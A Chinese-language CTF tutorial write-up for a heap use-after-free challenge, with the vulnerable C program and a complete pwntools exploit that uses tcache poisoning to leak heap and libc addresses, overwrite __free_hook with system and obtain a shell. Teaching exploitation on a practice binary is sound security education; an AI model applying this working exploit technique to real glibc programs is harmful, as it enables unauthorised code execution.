看雪大佬公开课-例题详解

看雪大佬公开课-例题详解

我们直接从堆专题开始,也就是课程的第四天:

那么不多比比,直接开干,我先开始讲解例题uaf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
if(num>=0x20)
{
puts("no more");
return;
}
int size;
puts("how big");
scanf("%d",&size);
if(size>=0x20)
{
puts("no more");
return;
}
heap[num]=(char *)malloc(size);
num++;
}
void show(){
int i;
int idx;
char buf[4];
puts("idx");
(read(0, buf, 4));
idx = atoi(buf);
if (!heap[idx]) {
puts("no hvae things\n");
} else {
printf("Content:");
printf("%s",heap[idx]);
}
}
void dele()
{
int i;
int idx;
char buf[4];
puts("idx");
(read(0, buf, 4));
idx = atoi(buf);
if (!heap[idx]) {
puts("no hvae things\n");
} else {
free(heap[idx]);
num--;
}
}
void edit()
{
int size;
int i;
int idx;
char buf[4];
puts("idx");
(read(0, buf, 4));
idx = atoi(buf);
if (!heap[idx]) {
puts("no hvae things\n");
} else {
puts("how big u read");
scanf("%d",&size);
if(size>0x20)
{
puts("too more");
return;
}
puts("Content:");
read(0,heap[idx],size);
}
}
void menu(void){
puts("1.create");
puts("2.dele");
puts("3.edit");
puts("4.show");
}
void main()
{
int choice;
while(1)
{
menu();
scanf("%d",&choice);
switch(choice)
{
case 1:create();break;
case 2:dele();break;
case 3:edit();break;
case 4:show();break;
default:puts("error");
}
}
}

上面是题目的源码,经过以下命令编译得到可执行程序:

1
gcc -o uaf uaf.c

可以很容易的发现,这是一道菜单题,而且存在着uaf漏洞,这个漏洞存在于dele()函数,堆块free后,并没有将对应的指针置为0,导致heap数组,对这个堆块依然可以操纵,由于ubuntu18.04引入了tcachebins这个bins,所有小于0x420的堆块被free掉时,会首先进入这个tcachebins而非fastbins或unsortedbin。但是呢,当这tcachebins存放满的时候,那它就会选择fastbins或unsortedbin,它存放满的条件是存放到7个(是0x20到0x420每个大小的堆块都能存放7个)。

当然,在我们做题之前,我觉得我有必要向大家介绍一下ubuntu18.04的另一个东西tcache,tcache也是一个堆,位于堆的开头,它的大小呢,是0x250它的详细介绍可以参考:tcache - CTF Wiki (ctf-wiki.org),我呢,就简单的说一下,它与我们的tcachebins关系很大,每一种大小的放入tcachebins的堆的数量,tcache这个堆块都有记载,举个例子吧,说也很难说清楚,我们先申请一个0x10的堆,然后将其释放,我们来观察tcache与tcachebins:

1

可以看到,tcachebins已经有了属于它的第一个东西:

2

可以看到tcachebins中0x20大小的堆块,写的是1,我所在tcache堆块中圈起来的一个字节就是记录0x20大小的堆块个数的地方,依次向后类推,当然了,这个tcache堆块,也记录着每个对应大小的堆块的起始地址(这里指向的是并不是chunk头,而是chunk的data区域),图上呢,就是0x20大小的堆块的其实地址,依次类推。我们来申请两个0x10大小的堆并释放,看看是不是这莫个事:

3

看起来,是对的,这里我再说一个点,就是tcachebins不同于fastbins,虽然都有FD指针,但是tcachebins的FD指针指向的是chunk的data区域,而不是chunk头。

接下来,我放出我自己的payload并一步一步解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
#context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'


sh = process("./uaf")

def create(size):
sh.sendline("1")
sh.recvuntil("how big\n")
sh.sendline(str(size))

def dele(inx):
sh.sendline("2")
sh.recvuntil("idx\n")
sh.sendline(str(inx))

def edit(inx, size, content):
sh.sendline("3")
sh.recvuntil("idx\n")
sh.sendline(str(inx))
sh.recvuntil("how big u read\n")
sh.sendline(str(size))
sh.recvuntil("Content:\n")
sh.send(content)

def show(inx):
sh.sendline("4")
sh.recvuntil("idx\n")
sh.sendline(str(inx))

create(0x10) # 0 num = 1
create(0x10) # 1 num = 2
create(0x10) # 2 num = 3
create(0x10) # 3 num = 4
create(0x10) # 4 num = 5


dele(0) # num = 4
dele(1) # num = 3

show(1)

sh.recvuntil("Content:")
fd_addr = u64(sh.recv(6).ljust(8,b"\x00"))
heap_base = fd_addr - 0x001680
print("fd------------>",hex(fd_addr))
print("heap_base----->",hex(heap_base))

edit(0,0x8,p64(heap_base+0x10))

create(0x10) # 3 num = 4
create(0x10) # 4 num = 5
create(0x10) # 5 num = 6 heap_base + 0x10 申请这个地方的
create(0x10) # 6 num = 7

edit(5,0x20,p64(1)+b"A"*(0x18))

dele(3) # num = 6

edit(3,0x8,p64(heap_base+0x30))

create(0x10) # 6 num = 7
create(0x10) # 7 num = 8 heap_base + 0x30 申请这个地方的
create(0x10) # 8 num = 9

edit(7,0x8,p64(0x07000000))

dele(5) # num = 8

create(0x10) #从unsortedbin上切割0x10大小 # 8 num = 9

show(8)

sh.recvuntil("Content:")
fd = u64(sh.recv(6).ljust(8,b"\x00"))
print("fd------------>",hex(fd))
libc = fd - 0x3ebee0
print("libc---------->",hex(libc))

system_addr = libc + 0x4f420
print("system_addr--->",hex(system_addr))

free_hook_off = 0x3ed8e8
free_hook_addr = libc + free_hook_off
print("free_hook_addr>",hex(free_hook_addr))

edit(8,0x8,p64(1))
dele(2) # num = 8
edit(2,0x8,p64(free_hook_addr))

create(0x10) # 8 num = 9
create(0x10) # 9 num = 10 __free_hook申请到了

edit(9,0x8,p64(system_addr))

edit(7,0x8,b"/bin/sh\x00")

dele(7)


#gdb.attach(sh)


sh.interactive()

首先呢,我们先申请5个0x10的堆空间:

4

然后free掉第一块和第二块:5

此时我们free的第二块堆就有fd指针了,我们可以将其泄露,从而得到heap的基地址:

6

得到heap的基地址,我们就可以开始编辑第一块堆块,写入p64(heap_base+0x10),为啥要加0x10,因为写入的第一块堆已经被free,所以此时写入的数据便是fd指针,而tcachebins的fd指针指向chunk的data区域:

7

可以看到,第一块被free的堆已经指向了我们想让其指向的地方,我们控制了tcache堆的一部分,我们再申请四个0x10大小的堆,此时我们便可以控制住heap_base堆块:

8

接下来,我们编辑第6块堆,并发送p64(1)+b”A”*(0x18),为啥发1,等会你就知道了,我们再删去第四块堆,并编辑第四块堆,使其fd指针指向我们想要其指向的区域:

9

发1是因为,我们只删除了一块堆,但是我们要再构造一块删除的堆,发1这样的话,0x20这里的堆的数量就对了,不会出现报错的情况,我们再申请三块0x10,将我们要的地方申请过来,并编辑这一块发送0x07000000:

嘿嘿,为啥发送0x07000000,当然是为了将记录0x250大小堆块的个数填为7,这样下次free大小为0x250的堆块,就不用进入tcachebins,那从哪里找0x250大小的堆呢,嘻嘻,看来是你忘了tcache堆的大小:

11

我们free第6块堆:12

再次申请0x10,此时将从unsortedbin上切割,那必然存在fd指针残留,我们泄露出来,便可以获得libc的基地址:

13

over,接下里如法炮制,就可以修改free_hook了,取得shell:

14